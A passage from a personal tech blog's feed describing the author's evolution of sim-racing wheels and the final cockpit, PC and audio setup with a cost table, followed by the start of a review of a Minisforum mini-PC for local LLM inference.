    <a href="#the-evolution-of-my-wheel-setup" class="subheading-anchor" aria-label="Permalink for this section"></a></h2><h3>Logitech G29 era (~2015-2021)<span class="hx:absolute hx:-mt-20" id="logitech-g29-era-2015-2021"></span>
    <a href="#logitech-g29-era-2015-2021" class="subheading-anchor" aria-label="Permalink for this section"></a></h3><p>I always wanted a racing wheel. I started over 15 years ago with something equivalent to Logitech&rsquo;s entry-level wheel, a G29. The G29 is a fine wheel to start with — gear-driven force feedback, pedals with a clutch, 900 degrees of rotation. But its force feedback is noisy and a bit crude. You can feel the gears turning.</p>
<p><img src="https://new-uploads-akitaonrails.s3.us-east-2.amazonaws.com/2026/04/01/cockpit/logitech-g29-and-myself.jpeg" alt="Me playing with the Logitech G29 on the couch — the beginning of it all"  loading="lazy" /></p>
<p><img src="https://new-uploads-akitaonrails.s3.us-east-2.amazonaws.com/2026/04/01/cockpit/logitech-g29-with-support.jpg" alt="The G29 with a simple stand in front of the couch"  loading="lazy" /></p>
<h3>Thrustmaster T300RS + SXT V2 stand era (~2021-2024)<span class="hx:absolute hx:-mt-20" id="thrustmaster-t300rs--sxt-v2-stand-era-2021-2024"></span>
    <a href="#thrustmaster-t300rs--sxt-v2-stand-era-2021-2024" class="subheading-anchor" aria-label="Permalink for this section"></a></h3><p>Around 2021 I upgraded to the <a href="https://www.thrustmaster.com/products/t300rs-gt-edition/"target="_blank" rel="noopener">Thrustmaster T300RS</a>, a belt-driven wheel that&rsquo;s a huge jump up from the Logitech. The force feedback is much smoother and more precise. And I bought the <a href="https://loja.cockpitextremeracing.com.br/products/suporte-para-volantes-sxt-v2?variant=51111119454489"target="_blank" rel="noopener">Extreme Sim Racing SXT V2</a> stand, which is much sturdier than those generic desk clamps.</p>
<p><img src="https://new-uploads-akitaonrails.s3.us-east-2.amazonaws.com/2026/04/01/cockpit/thrustmaster-with-support.jpg" alt="The Thrustmaster T300RS mounted on the SXT V2 stand"  loading="lazy" /></p>
<p>First I set it up in front of my desktop PC, which at the time had an RTX 3090. It worked, but it was a hassle to keep mounting and unmounting the stand and the cables every time I wanted to play.</p>
<p><img src="https://new-uploads-akitaonrails.s3.us-east-2.amazonaws.com/2026/04/01/cockpit/thrustmaster-with-pc.jpg" alt="The Thrustmaster in front of the desktop PC — functional but annoying"  loading="lazy" /></p>
<p>Then I built a setup with a long fiber-optic HDMI cable to connect my 60&quot; TV to the PC at the back of the room. I moved the stand in front of the couch. Less of a hassle, but I still had to take it down whenever I wanted to watch a movie with my girlfriend.</p>
<p><img src="https://new-uploads-akitaonrails.s3.us-east-2.amazonaws.com/2026/04/01/cockpit/thrustmaster-with-big-tv.jpg" alt="Setup with the big TV — better, but still a hassle"  loading="lazy" /></p>
<p><img src="https://new-uploads-akitaonrails.s3.us-east-2.amazonaws.com/2026/04/01/cockpit/thrustmaster-in-the-living-room.jpg" alt="The stand in the living room — always in the way"  loading="lazy" /></p>
<p>Around 2024 or 2025 I swapped my couch for one of those VIP cinema couches from <a href="https://www.starseat.com.br/sofa-cinema-sofa-cinema"target="_blank" rel="noopener">Star Seat</a>, which reclines and the whole nine yards. The problem: it was way taller than the previous couch. I had to do all kinds of workarounds to make the stand work at that height. I even 3D-printed mounts and sent them to PCBWay to machine steel plates so I could attach big wheels under the stand and gain a few centimeters of height. But that left the setup way too wobbly to drive comfortably.</p>
<p><img src="https://new-uploads-akitaonrails.s3.us-east-2.amazonaws.com/2026/04/01/cockpit/fanatec-support-sofa-too-high.jpg" alt="The problem: VIP couch too tall for the stand — total kludge"  loading="lazy" /></p>
<h3>Fanatec CSL DD + Direct Drive era (~2024-2025)<span class="hx:absolute hx:-mt-20" id="fanatec-csl-dd--direct-drive-era-2024-2025"></span>
    <a href="#fanatec-csl-dd--direct-drive-era-2024-2025" class="subheading-anchor" aria-label="Permalink for this section"></a></h3><p>In the meantime I gave the T300 to my brother and upgraded to a <a href="https://fanatec.com/eu-en/racing-wheels-wheel-bases/racing-wheels/gran-turismo-dd-pro-5-nm-wheel-base"target="_blank" rel="noopener">Fanatec CSL DD Gran Turismo Edition</a>. The CSL DD&rsquo;s direct drive motor delivers 5 Nm of torque at the base, but the Gran Turismo DD Pro kit comes with the Boost Kit 180 that brings it up to a sustained 8 Nm with no active cooling. Direct drive means there&rsquo;s no gear or belt between the motor and the wheel — the motor&rsquo;s shaft IS the wheel&rsquo;s shaft. The difference is absurd. The T300 was already great, much better than the Logitech. But the Fanatec is on another level. You feel every asphalt texture, every bump, every incipient slide. There&rsquo;s no going back once you try it.</p>
<p>I bought it together with the <a href="https://fanatec.com/eu-en/pedals/csl-pedals"target="_blank" rel="noopener">CSL Pedals with Load Cell</a> kit, which measures pressure on the brake instead of displacement. Makes all the difference in braking — you learn to modulate by foot pressure, not by how far the pedal moves. Way more natural.</p>
<p><img src="https://new-uploads-akitaonrails.s3.us-east-2.amazonaws.com/2026/04/01/cockpit/fanatec-direct-drive-close-up.jpg" alt="Close-up of the Fanatec CSL DD direct drive motor"  loading="lazy" /></p>
<p><img src="https://new-uploads-akitaonrails.s3.us-east-2.amazonaws.com/2026/04/01/cockpit/fanatec-csl-pedals.jpg" alt="Fanatec CSL Pedals with Load Cell Kit"  loading="lazy" /></p>
<p><img src="https://new-uploads-akitaonrails.s3.us-east-2.amazonaws.com/2026/04/01/cockpit/fanatec---shifter.jpg" alt="The Fanatec shifter — manual H-pattern with chrome knob"  loading="lazy" /></p>
<p>I also wanted to try the H-pattern manual shifter with the <a href="https://fanatec.com/us/en/p/add-ons/crd-9040002-ww/clubsport-shifter-sq"target="_blank" rel="noopener">ClubSport Shifter SQ V1.5</a> from Fanatec and a separate handbrake. It&rsquo;s fun to try out old cars with a clutch and an H-pattern, but in practice I never adapted. The SXT V2 stand was already shaking a lot with the direct drive, and using the shifter on that unstable setup was frustrating. And I know there are people who want to do heel-toe, but in the simulator I prefer to keep my left foot on the brake and my right on the gas and modulate both at the same time. Works better for me. Now that I have the McLaren wheel with the analog handbrake and clutch paddles right on the wheel, the H-pattern shifter and the external handbrake have been retired. For rally, an analog handbrake on the wheel is much more natural.</p>
<p>I also bought the PS5 with Gran Turismo 7 around this time. I put on the <a href="https://dbrand.com/shop/ps5"target="_blank" rel="noopener">dbrand Darkplates</a> matte black faceplates to replace the original white plates — it looks much better and more discreet.</p>
<p>But the setup was still the SXT V2 stand in front of the VIP couch. The same kludge. The same wobble. I obviously wasn&rsquo;t going to give up the cinema couch. The situation became unsustainable.</p>
<p><img src="https://new-uploads-akitaonrails.s3.us-east-2.amazonaws.com/2026/04/01/cockpit/fanatec-with-support.jpg" alt="The Fanatec CSL DD on the SXT V2 stand — too powerful for the stand to handle"  loading="lazy" /></p>
<h2>The computer and the hardware setup<span class="hx:absolute hx:-mt-20" id="the-computer-and-the-hardware-setup"></span>
    <a href="#the-computer-and-the-hardware-setup" class="subheading-anchor" aria-label="Permalink for this section"></a></h2><p>A note on my gaming hardware. I bought a <a href="https://www.minisforum.com/products/UX790-Pro.html"target="_blank" rel="noopener">Minisforum UX790 Pro</a> to be my dedicated Steam machine. It&rsquo;s a mini-PC with an Intel Core Ultra 9 285H processor, fits in the palm of your hand. Together I bought the <a href="https://www.minisforum.com/products/minisforum-deg1-egpu-dock"target="_blank" rel="noopener">Minisforum DEG1</a>, an external GPU dock that connects via OCuLink (PCIe 4.0 x4, 64 GT/s). It&rsquo;s an open design — basically a board with a PCIe x16 slot and room for an ATX or SFX power supply. There&rsquo;s no card size limit, so an RTX 4090 fits comfortably. The performance loss compared to a native PCIe slot is minimal. I put the RTX 4090 in it. The 4090 came from my desktop — at the start of 2025 I went to Miami and took the chance to buy an RTX 5090 because I was using more and more local AI and LLMs. I gave my old 3090 to my girlfriend to use for video editing. The 4090 went into the mini-PC.</p>
<p>So my gaming setup today is: Minisforum UX790 Pro + eGPU with RTX 4090 for Steam and PC games, and a PlayStation 5 with matte black Darkplates for Gran Turismo 7 and exclusives.</p>
<h2>The cockpit: Formula FX1<span class="hx:absolute hx:-mt-20" id="the-cockpit-formula-fx1"></span>
    <a href="#the-cockpit-formula-fx1" class="subheading-anchor" aria-label="Permalink for this section"></a></h2><p>To round out the setup I also needed a decent monitor. I was already used to my 80&quot; Samsung OLED TV in the living room and didn&rsquo;t want to downgrade picture quality. So I invested in the <a href="https://www.samsung.com/br/monitors/gaming/odyssey-oled-g8-g81sf-32-inch-240hz-oled-uhd-ls32fg810snxzd/"target="_blank" rel="noopener">Samsung Odyssey OLED G8 32&quot;</a>. It&rsquo;s a 4K (3840x2160) OLED monitor with a 240 Hz refresh rate, 0.03 ms response time (GTG), HDR True Black 400, HDR10+, 99% DCI-P3 coverage, 1,000,000:1 contrast, and FreeSync Premium Pro. It has 2 HDMI 2.1 inputs and 1 DisplayPort 1.4.</p>
<p><img src="https://new-uploads-akitaonrails.s3.us-east-2.amazonaws.com/2026/04/01/cockpit/closed-delivery-box.jpg" alt="The box of the Samsung Odyssey OLED G8 32&#34; when it arrived"  loading="lazy" /></p>
<p>In practice: the colors pop, black is real black (it&rsquo;s OLED, no backlight), and with the RTX 4090 I run most games at 4K and 120 fps with no problem. On lighter titles like Super Woden: Rally Edge, it easily hits 240 Hz. The smoothness is absurd. For a cockpit where you&rsquo;re 60-70 cm from the screen, 32&quot; OLED in 4K is the sweet spot. Bigger and you start to see pixels. Smaller and you lose the immersion.</p>
<p>In January 2026, after years of kludges, I finally ordered a dedicated cockpit. I researched a lot. I considered the <a href="https://loja.cockpitextremeracing.com.br/products/cockpit-ax160-horizontal?variant=52008751431961"target="_blank" rel="noopener">Cockpit AX160</a>, made of aluminum profile and very modular, and the <a href="https://loja.cockpitextremeracing.com.br/products/cockpit-4-0-horizontal?variant=52004294852889"target="_blank" rel="noopener">Cockpit 4.0</a>, which is the more traditional tubular steel kind. But neither was available at the time of purchase. And then I found the <a href="https://loja.cockpitextremeracing.com.br/products/cockpit-formula-fx1-preto-e-verde?variant=51700876509465"target="_blank" rel="noopener">Formula FX1 in black and green</a> from Extreme Racing — Petronas colors, F1-styled.</p>
<p>The FX1 is very different from traditional cockpits. The whole structure is welded thick steel tubing. When I say it doesn&rsquo;t shake, I mean it doesn&rsquo;t shake at all. Zero wobble. It&rsquo;s a brutal difference compared to a stand in front of the couch. The driving position is reclined, F1-style — your feet are at the same height or higher than your hips. You&rsquo;d think it would be uncomfortable, but it isn&rsquo;t. You can sit there for hours without complaining. It comes with a padded adjustable seat, an articulating monitor mount, a tilt-adjustable pedal mount, and a height-adjustable wheel mount.</p>
<p>I had to wait about a month for delivery. In the meantime, as anyone who follows my blog knows, I dove into a 16-hour-a-day marathon testing the new AI agents from Anthropic and OpenAI — check the <a href="/en/en/tags/vibe-coding/">#vibecoding</a> and <a href="/en/en/tags/ai/">#agents</a> tags to see everything I built. After about 30 days of that insane marathon, my lower back gave out and I started developing what looks like a herniated disc. I had to see a doctor and take heavy anti-inflammatories.</p>
<p>And right that week, the cockpit decided to arrive.</p>
<h3>The build<span class="hx:absolute hx:-mt-20" id="the-build"></span>
    <a href="#the-build" class="subheading-anchor" aria-label="Permalink for this section"></a></h3><p>I was in absurd pain, but I built the cockpit anyway. It took an entire day to unbox and assemble the heavy steel pieces with my back screaming, but I did it.</p>
<p>The official assembly video I followed:</p>


<div class="embed-container">
  <iframe
    src="https://www.youtube.com/embed/WnocqqhmZas"
    title="YouTube video player"
    frameborder="0"
    allow="accelerometer; autoplay; clipboard-write; encrypted-media; gyroscope; picture-in-picture; web-share"
    referrerpolicy="strict-origin-when-cross-origin"
    allowfullscreen>
  </iframe>
</div>

<p><img src="https://new-uploads-akitaonrails.s3.us-east-2.amazonaws.com/2026/04/01/cockpit/first-pieces-mounted.jpg" alt="First pieces mounted — the base and the seat structure"  loading="lazy" /></p>
<p><img src="https://new-uploads-akitaonrails.s3.us-east-2.amazonaws.com/2026/04/01/cockpit/mostly-mounted.jpg" alt="Almost complete structure — seat, wheel mount, pedals"  loading="lazy" /></p>
<p><img src="https://new-uploads-akitaonrails.s3.us-east-2.amazonaws.com/2026/04/01/cockpit/mostly-mounted-from-front.jpg" alt="Front view of the almost-finished structure"  loading="lazy" /></p>
<p><img src="https://new-uploads-akitaonrails.s3.us-east-2.amazonaws.com/2026/04/01/cockpit/almost-mounted,-with-monitor.jpg" alt="Almost complete assembly with the monitor mount"  loading="lazy" /></p>
<h3>The McLaren GT3 V2 wheel<span class="hx:absolute hx:-mt-20" id="the-mclaren-gt3-v2-wheel"></span>
    <a href="#the-mclaren-gt3-v2-wheel" class="subheading-anchor" aria-label="Permalink for this section"></a></h3><p>After assembling the cockpit, I decided that the standard wheel that comes with the CSL GT kit wasn&rsquo;t enough. I upgraded to the <a href="https://www.racingwheelbrasil.com.br/produtos/volante-fanatec-csl-elite-mclaren-gt3-v2-pc-xbox-ps4-ps5-ready/"target="_blank" rel="noopener">Fanatec CSL Elite McLaren GT3 V2</a> (~R$ 4,990). It&rsquo;s a 1:1 scale replica of the McLaren GT3 wheel, with carbon fiber, an OLED display, and compatibility with PC, Xbox, PS4 and PS5.</p>
<p>What I like most about it: it has the normal shift paddles behind it (shift up/down), but it also has two additional analog paddles that can be configured in four different modes. In mode B, which is what I use, the left paddle works as an analog handbrake and the right one as an analog clutch. That&rsquo;s perfect for rally — I can pull the handbrake mid-corner without taking my hand off the wheel. It also has two 2-position toggles, two 12-position rotaries, 7 standard buttons with interchangeable caps, and Fanatec&rsquo;s 7-direction FunkySwitch. It&rsquo;s a complete racing controller.</p>
<p><img src="https://new-uploads-akitaonrails.s3.us-east-2.amazonaws.com/2026/04/01/cockpit/mclaren-wheel.jpg" alt="The McLaren GT3 V2 wheel mounted on the cockpit — carbon fiber and OLED display"  loading="lazy" /></p>
<h2>The final setup<span class="hx:absolute hx:-mt-20" id="the-final-setup"></span>
    <a href="#the-final-setup" class="subheading-anchor" aria-label="Permalink for this section"></a></h2><p>The cockpit ended up in a corner of my bedroom, between the manga shelves (you can spot Akira, Initial D, and 500-something other volumes in the background). I mounted the mini-PC and the PS5 on the cockpit&rsquo;s side structure, together with the eGPU and the RTX 4090. Everything stays permanently connected. That&rsquo;s what makes the difference: I no longer have to set anything up or take it down. I sit, turn it on, and I&rsquo;m driving in 30 seconds.</p>
<p><img src="https://new-uploads-akitaonrails.s3.us-east-2.amazonaws.com/2026/04/01/cockpit/fully-mounted-from-side.jpg" alt="Side view of the complete cockpit — between the manga shelves"  loading="lazy" /></p>
<p><img src="https://new-uploads-akitaonrails.s3.us-east-2.amazonaws.com/2026/04/01/cockpit/all-consoles-from-front.jpg" alt="The consoles mounted on the structure: PS5 with Darkplates, Minisforum UX790 Pro, eGPU with RTX 4090"  loading="lazy" /></p>
<p><img src="https://new-uploads-akitaonrails.s3.us-east-2.amazonaws.com/2026/04/01/cockpit/close-up-of-the-consoles-from-front.jpg" alt="Close-up of the consoles and cabling"  loading="lazy" /></p>
<p><img src="https://new-uploads-akitaonrails.s3.us-east-2.amazonaws.com/2026/04/01/cockpit/sitting-angle.jpg" alt="The driver’s perspective — this is what I see when I sit down"  loading="lazy" /></p>
<p><img src="https://new-uploads-akitaonrails.s3.us-east-2.amazonaws.com/2026/04/01/cockpit/monitor-on-view-from-front.jpg" alt="PS5 showing the game list — Gran Turismo 7 at the top"  loading="lazy" /></p>
<p><img src="https://new-uploads-akitaonrails.s3.us-east-2.amazonaws.com/2026/04/01/cockpit/another-fully-mounted-shot.jpg" alt="The complete cockpit seen from behind"  loading="lazy" /></p>
<div style="max-width: 100%; margin: 1em 0;">
  <video controls playsinline style="width: 100%; border-radius: 8px;">
    <source src="https://new-uploads-akitaonrails.s3.us-east-2.amazonaws.com/2026/04/01/cockpit/from-front-gran-turismo-h264.mp4" type="video/mp4">
  </video>
  <em>Gran Turismo 7 running on the final cockpit</em>
</div>
<h2>The audio system<span class="hx:absolute hx:-mt-20" id="the-audio-system"></span>
    <a href="#the-audio-system" class="subheading-anchor" aria-label="Permalink for this section"></a></h2><p>To round out the setup I needed dedicated audio. I didn&rsquo;t want to use the monitor&rsquo;s audio (terrible) and I didn&rsquo;t want to be on a headset all the time. The fix was to build a separate audio system with HDMI audio extraction.</p>
<p>The centerpiece is an <a href="https://www.amazon.com.br/dp/B00MNGIP2Y"target="_blank" rel="noopener">HDMI 2.1 switcher from OREI</a> with audio extraction. It has 2 inputs and 1 HDMI output, supports 4K at 120Hz (48 Gbps of bandwidth), and extracts the audio through optical TOSLINK and 3.5mm. I connect the HDMI output of the RTX 4090 to one input and the PS5 to the other. Video goes to the monitor. Audio goes out through the optical port.</p>
<p>The optical audio goes to an <a href="https://www.mercadolivre.com.br/amplificador-de-potncia-aiyima-d03-bluetooth-50-150-watts-cor-preto/p/MLB46172770"target="_blank" rel="noopener">Aiyima D03 amplifier</a>, a compact 2.1 channel amp with 150W per channel, integrated DAC (PCM1808 chip), and Bluetooth 5.0 with aptX HD. It has optical, coaxial, USB, RCA and Bluetooth inputs. It even has a dedicated subwoofer output for when I get around to adding one. It uses Texas Instruments&rsquo; TAS5624 amplifier chip and has bass and treble control through the remote. For a cockpit setup where you&rsquo;re 1 meter from the speakers, 150W is more than enough.</p>
<p>In practice, I keep the amp at 50% and Windows volume at 50%, and that&rsquo;s already loud as hell. Which is to say: this isn&rsquo;t a &ldquo;good enough&rdquo; little system. It&rsquo;s set up to actually go loud if I want.</p>
<p>The speakers are <a href="https://edifier.com.br/caixa-de-som-passiva-p12-madeira-edifier.html"target="_blank" rel="noopener">Edifier P12</a>, passive, with a 4-inch woofer and a 19mm tweeter. Frequency response from 55Hz to 20kHz, 6 ohm impedance, 20W RMS each. The MDF cabinet with wood finish has a rear bass-reflex port that helps the lows. For passive speakers this size, they deliver well. The mid-range is clean and the highs don&rsquo;t distort even at high volume.</p>
<p><img src="https://new-uploads-akitaonrails.s3.us-east-2.amazonaws.com/2026/04/01/cockpit/audio-equipment.jpg" alt="The audio gear — Aiyima D03 box and Edifier P12"  loading="lazy" /></p>
<p><img src="https://new-uploads-akitaonrails.s3.us-east-2.amazonaws.com/2026/04/01/cockpit/audio-speakers-next-to-other-stuff.jpg" alt="The Edifier P12s positioned on the shelves next to the cockpit, alongside the Akira collection and car miniatures"  loading="lazy" /></p>
<p>The setup logic is: HDMI switcher handles the switching between PS5 and PC, extracts audio to optical, the amp converts and amplifies, and the passive speakers deliver the sound. All without having to touch the monitor or swap cables. I press a button on the switcher and switch consoles.</p>
<p>When I want to play without bothering anyone, I plug my <a href="https://www.mercadolivre.com.br/fones-de-ouvido-meze-audio-109-pro-com-fio-de-madeira-com-en/p/MLB42456685"target="_blank" rel="noopener">Meze 109 Pro</a> directly into the 3.5mm output of the HDMI switcher. The Meze 109 Pro is an open-back headphone with 50mm dynamic drivers, 40 ohm impedance, 112 dB SPL/1mW sensitivity, and 5Hz to 30kHz response. The ear cups are walnut wood with handcrafted finish. It&rsquo;s an audiophile headphone that works perfectly without a dedicated amplifier thanks to the low impedance. The sound is warm, with full bass and rich mids. You can hear every detail of the engines.</p>
<p><img src="https://new-uploads-akitaonrails.s3.us-east-2.amazonaws.com/2026/04/01/cockpit/meze-headset.jpg" alt="Meze 109 Pro — walnut wood, audiophile sound"  loading="lazy" /></p>
<p>I haven&rsquo;t decided about a subwoofer yet, but it&rsquo;ll be my next upgrade. A dedicated sub is going to add that low-end weight that makes you feel the engine in your chest.</p>
<h2>The verdict<span class="hx:absolute hx:-mt-20" id="the-verdict"></span>
    <a href="#the-verdict" class="subheading-anchor" aria-label="Permalink for this section"></a></h2><p>The couch with a stand works. The PC desk with a stand works. But neither comes anywhere close to a dedicated cockpit. The FX1&rsquo;s steel structure doesn&rsquo;t move a millimeter, even with the Fanatec direct drive at max torque. The reclined F1 position is comfortable for sessions of hours. The load cell pedals stay firm on the base. The monitor is exactly at the right height and distance. And best of all: it&rsquo;s always ready. I don&rsquo;t need to assemble anything, take anything down, run cables, none of it. I sit and I drive.</p>
<p>For anyone who&rsquo;s wondering whether it&rsquo;s worth investing in a dedicated cockpit instead of staying with a desk or couch stand: it is. If you already have a direct drive wheel, the cockpit is the missing piece. I spent years thinking &ldquo;this is fine&rdquo; with the stand on the couch. It wasn&rsquo;t fine. The difference in driveability is something else entirely. And for my case — introvert, single-player only, simcade — I couldn&rsquo;t have built it any sooner. To be honest, I think I&rsquo;ve finally landed on the simulator setup that&rsquo;s perfect for my taste.</p>
<p><img src="https://new-uploads-akitaonrails.s3.us-east-2.amazonaws.com/2026/04/01/cockpit/monitor-on-view.jpg" alt="The monitor on with the driver’s view"  loading="lazy" /></p>
<div style="max-width: 100%; margin: 1em 0;">
  <video controls playsinline style="width: 100%; border-radius: 8px;">
    <source src="https://new-uploads-akitaonrails.s3.us-east-2.amazonaws.com/2026/04/01/cockpit/video-testing-h264.mp4" type="video/mp4">
  </video>
  <em>Me driving on the final cockpit</em>
</div>
<h2>Shopping list: how much it all cost<span class="hx:absolute hx:-mt-20" id="shopping-list-how-much-it-all-cost"></span>
    <a href="#shopping-list-how-much-it-all-cost" class="subheading-anchor" aria-label="Permalink for this section"></a></h2><p>Here&rsquo;s the consolidated list of everything in my current setup, with approximate prices (some were bought in dollars and converted to reais at the time&rsquo;s exchange rate):</p>
<table>
  <thead>
      <tr>
          <th>Item</th>
          <th style="text-align: right">Estimated Price (R$)</th>
          <th>Link</th>
      </tr>
  </thead>
  <tbody>
      <tr>
          <td><a href="https://loja.cockpitextremeracing.com.br/products/cockpit-formula-fx1-preto-e-verde?variant=51700876509465"target="_blank" rel="noopener">Cockpit Formula FX1 Black and Green</a></td>
          <td style="text-align: right">~6,290</td>
          <td>Extreme Racing</td>
      </tr>
      <tr>
          <td><a href="https://fanatec.com/us/en/p/sim-racing-bundles/crd-9020007-8nm-us/gran-turismo-dd-pro-8nm-qr2l-us"target="_blank" rel="noopener">Fanatec Gran Turismo DD Pro 8Nm (motor + wheel + pedals + Boost Kit)</a></td>
          <td style="text-align: right">~9,590</td>
          <td>Fanatec / Racing Wheel Brasil</td>
      </tr>
      <tr>
          <td><a href="https://fanatec.com/us/en/p/pedals/csl_p_lc/csl_pedals_lc"target="_blank" rel="noopener">Fanatec CSL Pedals LC (with Load Cell)</a></td>
          <td style="text-align: right">~1,500</td>
          <td>Fanatec</td>
      </tr>
      <tr>
          <td><a href="https://www.racingwheelbrasil.com.br/produtos/volante-fanatec-csl-elite-mclaren-gt3-v2-pc-xbox-ps4-ps5-ready/"target="_blank" rel="noopener">Fanatec CSL Elite McLaren GT3 V2</a></td>
          <td style="text-align: right">~4,990</td>
          <td>Racing Wheel Brasil</td>
      </tr>
      <tr>
          <td><a href="https://fanatec.com/us/en/p/add-ons/crd-9040002-ww/clubsport-shifter-sq"target="_blank" rel="noopener">Fanatec ClubSport Shifter SQ V1.5</a></td>
          <td style="text-align: right">~2,500</td>
          <td>Fanatec</td>
      </tr>
      <tr>
          <td><a href="https://www.minisforum.com/products/UX790-Pro.html"target="_blank" rel="noopener">Minisforum UX790 Pro</a></td>
          <td style="text-align: right">~5,000</td>
          <td>Minisforum</td>
      </tr>
      <tr>
          <td><a href="https://www.minisforum.com/products/minisforum-deg1-egpu-dock"target="_blank" rel="noopener">Minisforum DEG1 eGPU Dock</a> + RTX 4090</td>
          <td style="text-align: right">~12,000</td>
          <td>Minisforum / bought separately</td>
      </tr>
      <tr>
          <td>PlayStation 5 + <a href="https://dbrand.com/shop/limited-edition/ps5"target="_blank" rel="noopener">dbrand Darkplates</a></td>
          <td style="text-align: right">~4,500</td>
          <td>Sony / dbrand</td>
      </tr>
      <tr>
          <td><a href="https://www.samsung.com/br/monitors/gaming/odyssey-oled-g8-g81sf-32-inch-240hz-oled-uhd-ls32fg810snxzd/"target="_blank" rel="noopener">Samsung Odyssey OLED G8 32&quot;</a></td>
          <td style="text-align: right">~2,500</td>
          <td>Samsung</td>
      </tr>
      <tr>
          <td><a href="https://www.amazon.com.br/dp/B00MNGIP2Y"target="_blank" rel="noopener">OREI BK-21A HDMI 2.1 Switcher 2x1 with audio extraction</a></td>
          <td style="text-align: right">~450</td>
          <td>Amazon</td>
      </tr>
      <tr>
          <td><a href="https://www.mercadolivre.com.br/amplificador-de-potncia-aiyima-d03-bluetooth-50-150-watts-cor-preto/p/MLB46172770"target="_blank" rel="noopener">Aiyima D03 Amplifier</a></td>
          <td style="text-align: right">~900</td>
          <td>Mercado Livre</td>
      </tr>
      <tr>
          <td><a href="https://edifier.com.br/caixa-de-som-passiva-p12-madeira-edifier.html"target="_blank" rel="noopener">Edifier P12 (pair)</a></td>
          <td style="text-align: right">~799</td>
          <td>Edifier</td>
      </tr>
      <tr>
          <td><a href="https://www.mercadolivre.com.br/fones-de-ouvido-meze-audio-109-pro-com-fio-de-madeira-com-en/p/MLB42456685"target="_blank" rel="noopener">Meze 109 Pro</a></td>
          <td style="text-align: right">~5,390</td>
          <td>Mercado Livre / Heinrich Audio</td>
      </tr>
      <tr>
          <td>Cables (HDMI 2.1, optical, 3.5mm, power)</td>
          <td style="text-align: right">~300</td>
          <td>Various</td>
      </tr>
      <tr>
          <td><strong>TOTAL ESTIMATED</strong></td>
          <td style="text-align: right"><strong>~56,709</strong></td>
          <td></td>
      </tr>
  </tbody>
</table>
<p>Yes, almost R$ 57k is a lot of money. I worked like a dog for decades. Now that I&rsquo;ve managed to retire honestly, my family is well taken care of, I have no debts, and I can finally give myself something I always wanted as a kid but couldn&rsquo;t afford. When I sat at those OutRun and Daytona USA cabinets at the arcade, I dreamed of having something like this at home. It took 30-something years, but I got there.</p>
<p>And if you add up the years of kludges, stands that didn&rsquo;t work, 15-meter HDMI cables, 3D prints, machined steel plates, and the frustration of mounting and unmounting everything — a dedicated cockpit saves your sanity. Unlike a PC that depreciates fast, a steel cockpit lasts decades.</p>
]]></content:encoded><category>gaming</category><category>hardware</category><category>off-topic</category></item><item><title>Review: Minisforum MS-S1 Max | AMD AI Max+ 395 with 96GB of VRAM</title><link>https://akitaonrails.github.io/en/2026/03/31/minisforum-ms-s1-max-amd-ai-max-395-review/</link><guid isPermaLink="true">https://akitaonrails.github.io/en/2026/03/31/minisforum-ms-s1-max-amd-ai-max-395-review/</guid><pubDate>Tue, 31 Mar 2026 15:00:00 -0300</pubDate><description>&lt;p&gt;If you&amp;rsquo;ve been following my &lt;a href="https://akitaonrails.github.io/en/2024/04/03/my-personal-netflix-with-docker-compose/"&gt;home server posts&lt;/a&gt;, you know I used to run everything on an Intel NUC Core i7 with 32GB of RAM. It worked. But as open source AI models grew, the NUC became the bottleneck. Without a dedicated GPU, any LLM inference would fall back to the CPU and turn unusable.&lt;/p&gt;
&lt;p&gt;I bought a Minisforum MS-S1 Max with the new AMD Ryzen AI Max+ 395 chip for one specific reason: this chip supports up to 128GB of unified RAM, and I can allocate 96GB of it as VRAM for the iGPU. That gives me more VRAM than any consumer gaming card, including the RTX 5090 (32GB). And that changes what I can run locally.&lt;/p&gt;</description><content:encoded><![CDATA[<p>If you&rsquo;ve been following my <a href="/en/2024/04/03/my-personal-netflix-with-docker-compose/">home server posts</a>, you know I used to run everything on an Intel NUC Core i7 with 32GB of RAM. It worked. But as open source AI models grew, the NUC became the bottleneck. Without a dedicated GPU, any LLM inference would fall back to the CPU and turn unusable.</p>
<p>I bought a Minisforum MS-S1 Max with the new AMD Ryzen AI Max+ 395 chip for one specific reason: this chip supports up to 128GB of unified RAM, and I can allocate 96GB of it as VRAM for the iGPU. That gives me more VRAM than any consumer gaming card, including the RTX 5090 (32GB). And that changes what I can run locally.</p>
<p><img src="https://new-uploads-akitaonrails.s3.us-east-2.amazonaws.com/blog/2026/03/31/minisforum-desk.jpg" alt="Minisforum MS-S1 Max on the desk"  loading="lazy" /></p>
<h2>Why ditch the Intel NUC<span class="hx:absolute hx:-mt-20" id="why-ditch-the-intel-nuc"></span>
    <a href="#why-ditch-the-intel-nuc" class="subheading-anchor" aria-label="Permalink for this section"></a></h2><p>The NUC was a fine Docker server for two years. But the limitation was clear: without a GPU with enough VRAM, I couldn&rsquo;t run LLMs locally in any usable way. <a href="https://github.com/akitaonrails/FrankYomik"target="_blank" rel="noopener">Frank Yomik</a>, my automatic manga translation system, needed CPU-based OCR (slow) and would connect remotely to the Ollama running on my desktop (AMD 7950X3D + RTX 5090) for translation. It worked, but it meant my desktop had to be on for the server to do its job.</p>
<p><img src="https://raw.githubusercontent.com/akitaonrails/FrankYomik/master/docs/sample_translate.png" alt="Frank Yomik - automatic manga translation"  loading="lazy" /></p>
<p>With the Minisforum, Frank Yomik now runs entirely on the server. The worker uses ROCm for OCR on the iGPU, and Ollama runs locally with 96GB of VRAM. Zero dependency on the desktop.</p>
<p><img src="https://new-uploads-akitaonrails.s3.us-east-2.amazonaws.com/blog/2026/03/31/minisforum-nuc-compare.jpg" alt="Comparison: Intel NUC (left) vs Minisforum MS-S1 Max (right)"  loading="lazy" /></p>
<p>You can get a sense of the size from the photo. The NUC is the tiny cube on the left. The Minisforum is bigger but it&rsquo;s still a mini-PC. It fits on the rack shelf under my Synology NAS without any trouble.</p>
<p><img src="https://new-uploads-akitaonrails.s3.us-east-2.amazonaws.com/blog/2026/03/31/minisforum-shelf.jpg" alt="Minisforum installed on the shelf, next to the NAS"  loading="lazy" /></p>
<h2>The specs<span class="hx:absolute hx:-mt-20" id="the-specs"></span>
    <a href="#the-specs" class="subheading-anchor" aria-label="Permalink for this section"></a></h2><p><img src="https://new-uploads-akitaonrails.s3.us-east-2.amazonaws.com/blog/2026/03/31/minisforum-fastfetch.png" alt="fastfetch on the Minisforum"  loading="lazy" /></p>
